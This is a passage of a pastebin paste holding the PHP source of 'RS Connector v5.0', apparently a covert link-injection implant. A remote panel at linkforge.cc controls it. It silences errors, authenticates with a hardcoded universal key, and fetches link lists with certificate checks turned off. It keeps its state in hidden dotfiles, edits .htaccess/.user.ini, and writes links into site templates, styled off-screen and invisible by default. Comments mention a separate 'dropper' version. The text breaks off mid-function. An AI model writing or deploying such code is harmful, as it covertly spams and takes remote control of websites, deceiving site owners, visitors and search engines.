NOTE: This is a guest paste. Sign up for a free account to edit, delete, and manage your pastes!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 | <?php // Host sitedeki .auth.php / eklenti fonksiyonlariyla cakismayi onlemek icin // tum connector kendi namespace'inde calisir (respond() vb. cakismasi cozulur). namespace RSConnector; // Host sitenin KENDI hata ayarlari ne olursa olsun, connector kaynakli hic bir // notice/warning/deprecation ziyaretciye gorunmemeli ve hic bir sey sitenin ciktisini // bozmamali. Bu satirlar, asagidaki herhangi bir define/islem calismadan ONCE uygulanir. error_reporting(0); @ini_set('display_errors', '0'); @ini_set('display_startup_errors', '0'); define('RS_CONNECTOR_VERSION', '5.0'); // Sunucu tarafi istekler (heartbeat vb.) icin sabit kimlik; panelin WAF/Cloudflare izin listesinde kullanilir. define('RS_USER_AGENT', 'LinkForge/1.0'); /** * RS Connector v5.0 - Klasik Edition (PHP 5.6+ uyumlu) * php.ini / .htaccess / .user.ini dosyalarina HICBIR sekilde dokunmaz; yalnizca panelden * gelen ?action= isteklerine yanit verir ve link eklendiginde dogrudan sablon dosyalarina * (footer.php, index.php vb.) statik HTML enjekte eder. Tum sayfalarda otomatik calisma * isteyen siteler icin ayri "dropper" connector'u (rs-dropper.template.php) kullanilir. * Eski (v1-v3) ve yeni (v4.x) connector'larla tam uyumlu * Tüm auth yöntemlerini destekler: per-site key, domain-based key, universal key, HMAC, setup token */ // ==================== YAPILANDIRMA ==================== define('PANEL_API_URL', 'https://linkforge.cc'); define('SETUP_TOKEN', ''); // NOTE: This is a template placeholder. Panel injects the real value at download/update time. // If it stays unreplaced (contains "{{"), universal-key auth is disabled on this site. define('UNIVERSAL_SITE_KEY', 'c5f9ae885d1ab192e1c3bf95400b02eb84f0e5f706d58979'); $base_dir = dirname(__FILE__); $use_hidden = @file_put_contents($base_dir . '/.rs_test', 'test') !== false; if ($use_hidden) @unlink($base_dir . '/.rs_test'); define('KEY_FILE', $base_dir . '/' . ($use_hidden ? '.rs_key' : 'rs_key.dat')); define('LINKS_FILE', $base_dir . '/' . ($use_hidden ? '.rs_links.json' : 'rs_links.dat')); define('CONFIG_FILE', $base_dir . '/' . ($use_hidden ? '.rs_config.json' : 'rs_config.dat')); // ==================== ERKEN PİNG ENDPOINT ==================== // Batch ping için ultra hızlı response (kod parse edilmeden önce) if (isset($_GET['action'])) { $quickAction = strtolower(trim($_GET['action'])); // Ultra fast endpoints - batch ping için optimize if ($quickAction === 'health' || $quickAction === 'fast_ping' || $quickAction === 'ultra_ping') { http_response_code(200); header('Content-Type: application/json'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Connection: close'); header('Access-Control-Allow-Origin: *'); echo json_encode([ 'success' => true, 'data' => [ 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'version' => RS_CONNECTOR_VERSION, 'timestamp' => time(), 'batch_ready' => true, 'max_batch_size' => 100 ], 'status' => 'ok' ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } // Lightweight batch ping if ($quickAction === 'batch_health') { http_response_code(200); header('Content-Type: application/json'); header('Connection: close'); header('Access-Control-Allow-Origin: *'); echo json_encode([ 'success' => true, 'batch_id' => (isset($_GET['batch_id']) ? $_GET['batch_id'] : uniqid()), 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'index' => intval((isset($_GET['site_index']) ? $_GET['site_index'] : 0)), 'batch_index' => intval((isset($_GET['batch_index']) ? $_GET['batch_index'] : 0)), 'version' => RS_CONNECTOR_VERSION, 'key_status' => file_exists(KEY_FILE), 'timestamp' => time() ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } exit; } } // Performance optimizasyonları ini_set('max_execution_time', 0); ini_set('memory_limit', '1024M'); ini_set('default_socket_timeout', 2); if (function_exists('opcache_compile_file')) { @opcache_compile_file(__FILE__); } // Hata raporlama $DEBUG_MODE = 0; error_reporting($DEBUG_MODE ? E_ALL : 0); ini_set('display_errors', $DEBUG_MODE ? '1' : '0'); // CORS ayarları header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts, X-RS-Key, X-RS-Setup-Token'); header('Content-Type: application/json; charset=utf-8'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit(0); } // ==================== YARDIMCI FONKSİYONLAR ==================== /** * JSON yanıt gönder */ function respond($success, $data = [], $message = '', $http_code = 0) { if ($http_code > 0) { http_response_code($http_code); } else { http_response_code($success ? 200 : 200); } header('Connection: close'); $response = [ 'success' => $success, 'status' => $success ? 'ok' : 'error', 'message' => $message, 'data' => $data, 'version' => RS_CONNECTOR_VERSION, 'timestamp' => time() ]; echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } /** * Auth failure yanıtı - HTTP 200 ile success=false döner (panel uyumu için) */ function respond_auth_fail($message = 'Kimlik doğrulama başarısız') { respond(false, [], $message, 200); } /** * Domain-based static key generator (v4 uyumluluğu) */ function generate_site_static_key() { $domain = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default')); $domain = strtolower(trim($domain)); $domain = preg_replace('/^www\./', '', $domain); $hash = substr(md5($domain . 'rs41_salt'), 0, 7); return 'RS41_' . $hash; } /** * Kayıtlı key'i al - HYBRID SİSTEM * Öncelik: 1) Dosyadan oku (per-site key), 2) Define edilmiş sabit key */ function get_stored_key() { // 1. Dosyadan oku (en güvenilir - per-site unique key) if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { return $file_key; } } // 2. Domain-based static key (v4 uyumluluğu) return generate_site_static_key(); } /** * Tüm geçerli key'leri topla (auth için kullanılır) */ function get_all_valid_keys() { $keys = []; // 1. Dosyadan okunan key if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { $keys[] = $file_key; } } // The domain-derived legacy key is only an identifier for heartbeats; it is // computed from a public salt, so it must never authenticate a request. // 2. Universal key $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; // Disable if placeholder wasn't substituted. if (!empty($universal) && strpos($universal, '{{') === false && !in_array($universal, $keys)) { $keys[] = $universal; } return $keys; } /** * Key'i dosyaya kaydet - AKTİF (v3 uyumluluğu) */ function save_key($key) { $key = trim((string)$key); if (empty($key)) return false; return @file_put_contents(KEY_FILE, $key) !== false; } function save_config($config) { return @file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false; } function get_config() { if (file_exists(CONFIG_FILE)) { $content = @file_get_contents(CONFIG_FILE); return json_decode($content, true) ?: []; } return []; } function get_links() { if (file_exists(LINKS_FILE)) { $content = @file_get_contents(LINKS_FILE); return json_decode($content, true) ?: []; } return []; } function save_links($links) { return @file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false; } /** * Request body'yi tek sefer oku ve cache'le (HMAC tutarlılığı için) */ function get_raw_request_body() { static $cached_body = null; if ($cached_body === null) { $cached_body = file_get_contents('php://input'); if ($cached_body === false) { $cached_body = ''; } } return $cached_body; } function get_request_data() { $data = []; if (!empty($_POST)) { $data = $_POST; } $raw = get_raw_request_body(); if ($raw) { $json = json_decode($raw, true); if (is_array($json)) { $data = array_merge($data, $json); } } $data = array_merge($data, $_GET); return $data; } /** * Action adını normalize et */ function normalize_action_name($action) { $action = strtolower(trim((string)$action)); if ($action === '') return 'ping'; $qpos = strpos($action, '?'); if ($qpos !== false) $action = substr($action, 0, $qpos); $apos = strpos($action, '&'); if ($apos !== false) $action = substr($action, 0, $apos); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); return ($rel === 'nofollow') ? 'nofollow' : 'dofollow'; } /** * Request içinden gelen key'i al (tüm field adlarını kontrol et) */ function get_provided_site_key($req) { $candidates = [ (isset($req['key']) ? $req['key'] : ''), (isset($req['site_key']) ? $req['site_key'] : ''), (isset($req['connector_key']) ? $req['connector_key'] : ''), (isset($req['api_key']) ? $req['api_key'] : ''), (isset($req['token']) ? $req['token'] : ''), (isset($_SERVER['HTTP_X_RS_KEY']) ? $_SERVER['HTTP_X_RS_KEY'] : ''), ]; foreach ($candidates as $candidate) { if (!is_string($candidate)) continue; $candidate = trim($candidate); if ($candidate !== '') return $candidate; } return ''; } /** * Setup token doğrulama */ function has_valid_setup_token($req) { $expected = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected) || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($req['setup_token']) && is_string($req['setup_token'])) { $provided = trim($req['setup_token']); } elseif (isset($_SERVER['HTTP_X_RS_SETUP_TOKEN']) && is_string($_SERVER['HTTP_X_RS_SETUP_TOKEN'])) { $provided = trim($_SERVER['HTTP_X_RS_SETUP_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } // Link inline stil function get_link_inline_style() { $config = get_config(); $mode = strtolower(trim((string)((isset($config['link_output_mode']) ? $config['link_output_mode'] : 'hidden')))); if ($mode === 'visible') { return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;line-height:1.4;opacity:1;'; } return 'position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;'; } function build_link_html($url, $anchor, $rel = 'dofollow') { $rel = normalize_rel($rel); $rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : ''; $style = get_link_inline_style(); return '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '"' . $rel_attr . ' style="' . $style . '">' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . '</a>'; } // ==================== UZAK LINK VERISI (ESKI/KLASIK YONTEM) ==================== // Bu connector php.ini/.htaccess'e HICBIR sekilde dokunmaz; yalnizca dogrudan ?action= // istekleriyle (panelden gelen) ve dosyaya statik HTML enjeksiyonuyla calisir. Tum // sayfalarda otomatik calisan bir mekanizma isteyen siteler icin ayri bir "dropper" // connector'u (rs-dropper.template.php) kullanilmalidir. /** * Onceki surumlerin (auto_prepend mimarisi) .htaccess / .user.ini dosyalarina yazdigi * "auto_prepend_file" yonergelerini temizler. Yalnizca BU connector dosyasina (veya * eski "rs_prepend.php" koprusune) isaret eden satirlar silinir; JS connector <script> * etiketine veya host'un kendi ayarlarina ASLA dokunulmaz. Degisiklik yoksa no-op'tur. */ function cleanup_legacy_auto_prepend($base) { $self = __FILE__; $self_name = basename($self); $cleaned = ['htaccess' => false, 'user_ini' => false]; $targets = [$base . '/.htaccess', $base . '/.user.ini']; foreach ($targets as $path) { if (!file_exists($path)) continue; $content = @file_get_contents($path); if ($content === false || $content === '') continue; if (strpos($content, 'auto_prepend_file') === false) continue; if (strpos($content, $self) === false && strpos($content, $self_name) === false && strpos($content, 'rs_prepend.php') === false) { continue; // baska bir amacla konulmus auto_prepend_file olabilir, dokunma } force_writable($path); if (!is_writable($path)) continue; $new_content = preg_replace('/^.*auto_prepend_file.*(' . preg_quote($self_name, '/') . '|rs_prepend\.php).*\r?\n?/mi', '', $content); if ($new_content !== null && $new_content !== $content) { if (@file_put_contents($path, $new_content) !== false) { $cleaned[(strpos($path, '.user.ini') !== false) ? 'user_ini' : 'htaccess'] = true; } } } $old_prepend = dirname($self) . '/rs_prepend.php'; if (file_exists($old_prepend)) @unlink($old_prepend); return $cleaned; } function remote_links_endpoint_url() { $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) return ''; $base = rtrim($panel_url, '/'); if (substr($base, -4) === '/api') { return $base . '/connector/links'; } return $base . '/api/connector/links'; } /** * Tek denemelik, kisa zaman asimli cekim (ziyaretci istegini asla uzun sure bloklamaz). * panel_http_post()'tan farkli olarak tekrar denemez ve cok daha kisa zaman asimi kullanir. */ function fetch_links_fast($url, $json) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $json, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 4, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => RS_USER_AGENT, CURLOPT_HTTPHEADER => ['Content-Type: application/json'], ]); $response = curl_exec($ch); curl_close($ch); if ($response !== false) { $decoded = json_decode($response, true); if (is_array($decoded)) return $decoded; } return null; } if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => ['Content-Type: application/json', 'User-Agent: ' . RS_USER_AGENT], 'content' => $json, 'timeout' => 4, 'ignore_errors' => true, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $response = @file_get_contents($url, false, $context); if ($response !== false) { $decoded = json_decode($response, true); if (is_array($decoded)) return $decoded; } } return null; } /** * Panelden guncel yayindaki link listesini PHP ile (connector'in kendisi) ceker ve * LINKS_FILE'a yazar. TTL icindeyse (ve $force degilse) agi hic kullanmadan hemen doner. * add_link/bulk_add_links/sync_links ile eklenen kayitlara dokunmaz; yalnizca daha once * source=>'pull' olarak isaretlenmis kayitlari panelin guncel listesiyle degistirir. */ function fetch_remote_links($force = false) { $ttl = 300; $config = get_config(); $last = (int)((isset($config['links_pulled_at']) ? $config['links_pulled_at'] : 0)); if (!$force && $last > 0 && (time() - $last) < $ttl) { return false; } $url = remote_links_endpoint_url(); $key = ''; if (file_exists(KEY_FILE)) $key = trim((string)@file_get_contents(KEY_FILE)); if ($key === '' && defined('UNIVERSAL_SITE_KEY')) { $universal = trim((string)UNIVERSAL_SITE_KEY); if ($universal !== '' && strpos($universal, '{{') === false) $key = $universal; } if ($url === '' || $key === '') { return false; } $json = json_encode(['site_key' => $key, 'domain' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '')], JSON_UNESCAPED_UNICODE); $result = fetch_links_fast($url, $json); $config['links_pulled_at'] = time(); $incoming = (is_array($result) && !empty($result['success']) && isset($result['data']['links']) && is_array($result['data']['links'])) ? $result['data']['links'] : null; if ($incoming !== null) { $pulled = []; foreach ($incoming as $l) { if (!is_array($l)) continue; $u = trim((string)((isset($l['url']) ? $l['url'] : ''))); $a = trim((string)((isset($l['anchor']) ? $l['anchor'] : ''))); if ($u === '' || $a === '' || !preg_match('#^https?://#i', $u)) continue; $rel = (isset($l['rel']) && $l['rel'] === 'nofollow') ? 'nofollow' : 'dofollow'; $id = 'pull_' . substr(md5($u . '|' . $a), 0, 12); $pulled[$id] = ['id' => $id, 'url' => $u, 'anchor' => $a, 'rel' => $rel, 'source' => 'pull', 'created' => time()]; } $existing = get_links(); $manual = array_filter($existing, function ($l) { return !is_array($l) || ((isset($l['source']) ? $l['source'] : 'manual')) !== 'pull'; }); save_links($manual + $pulled); if (isset($result['data']['output_mode']) && in_array($result['data']['output_mode'], ['hidden', 'visible'], true)) { $config['link_output_mode'] = (string)$result['data']['output_mode']; } $config['links_pull_ok'] = true; } else { $config['links_pull_ok'] = false; } save_config($config); return true; } function find_document_root() { $cms_markers = [ 'wp-config.php', 'wp-load.php', 'configuration.php', 'artisan', 'config.php', 'includes/bootstrap.inc', ]; $base = (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''); if (!empty($base) && is_dir($base)) { $base = rtrim($base, '/\\'); // Laravel vb. sitelerde connector public/ altinda olabilir: markerlar bir ust dizinde aranir. $has_marker = false; foreach ($cms_markers as $marker) { if (file_exists($base . '/' . $marker)) { $has_marker = true; break; } } if (!$has_marker) { $parent = dirname($base); if ($parent !== $base && (file_exists($parent . '/artisan') || file_exists($parent . '/wp-config.php') || file_exists($parent . '/configuration.php'))) { return $parent; } } return $base; } $base = dirname(__FILE__); for ($i = 0; $i < 10; $i++) { foreach ($cms_markers as $marker) { if (file_exists($base . '/' . $marker)) { return $base; } } if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) { return $base; } $parent = dirname($base); if ($parent === $base) break; $base = $parent; } return (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname(__FILE__)); } // ==================== HMAC DOĞRULAMA ==================== /** * HMAC doğrulama - TÜM geçerli key'leri dener */ function verify_hmac_any() { $signature = (isset($_SERVER['HTTP_X_RS_SIG']) ? $_SERVER['HTTP_X_RS_SIG'] : ''); $timestamp = (isset($_SERVER['HTTP_X_RS_TS']) ? $_SERVER['HTTP_X_RS_TS'] : ''); if (empty($signature) || empty($timestamp)) return false; if (abs(time() - intval($timestamp)) > 300) return false; $body = get_raw_request_body(); $keys = get_all_valid_keys(); foreach ($keys as $key) { $expected = hash_hmac('sha256', $timestamp . $body, $key); if (hash_equals($expected, $signature)) return true; } return false; } /** * Belirli bir key ile HMAC doğrulama */ function verify_hmac($site_key) { $signature = (isset($_SERVER['HTTP_X_RS_SIG']) ? $_SERVER['HTTP_X_RS_SIG'] : ''); $timestamp = (isset($_SERVER['HTTP_X_RS_TS']) ? $_SERVER['HTTP_X_RS_TS'] : ''); if (empty($signature) || empty($timestamp)) return false; if (abs(time() - intval($timestamp)) > 300) return false; $body = get_raw_request_body(); $expected = hash_hmac('sha256', $timestamp . $body, $site_key); return hash_equals($expected, $signature); } // ==================== UNIVERSAL AUTH ==================== /** * Korumalı action'lar için universal kimlik doğrulama * Tüm auth yöntemlerini dener: per-site key, domain key, universal key, HMAC, setup token */ function authenticate_request($req) { $provided_key = get_provided_site_key($req); $all_valid_keys = get_all_valid_keys(); // Yöntem 1: Gönderilen key, geçerli keylerden biriyle eşleşiyor mu? if (!empty($provided_key)) { foreach ($all_valid_keys as $valid_key) { if (hash_equals((string)$valid_key, (string)$provided_key)) return true; } } // Yöntem 2: HMAC - tüm geçerli keylerle dene if (verify_hmac_any()) return true; // Yöntem 3: Geçerli setup token if (has_valid_setup_token($req)) return true; return false; } // ==================== SİTE BİLGİSİ ALGILAMA ==================== function detect_site_info($fast_mode = false) { $base = find_document_root(); if ($fast_mode) { return [ 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'site_name' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'site_type' => 'unknown', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'version' => RS_CONNECTOR_VERSION ]; } $info = [ 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'site_name' => 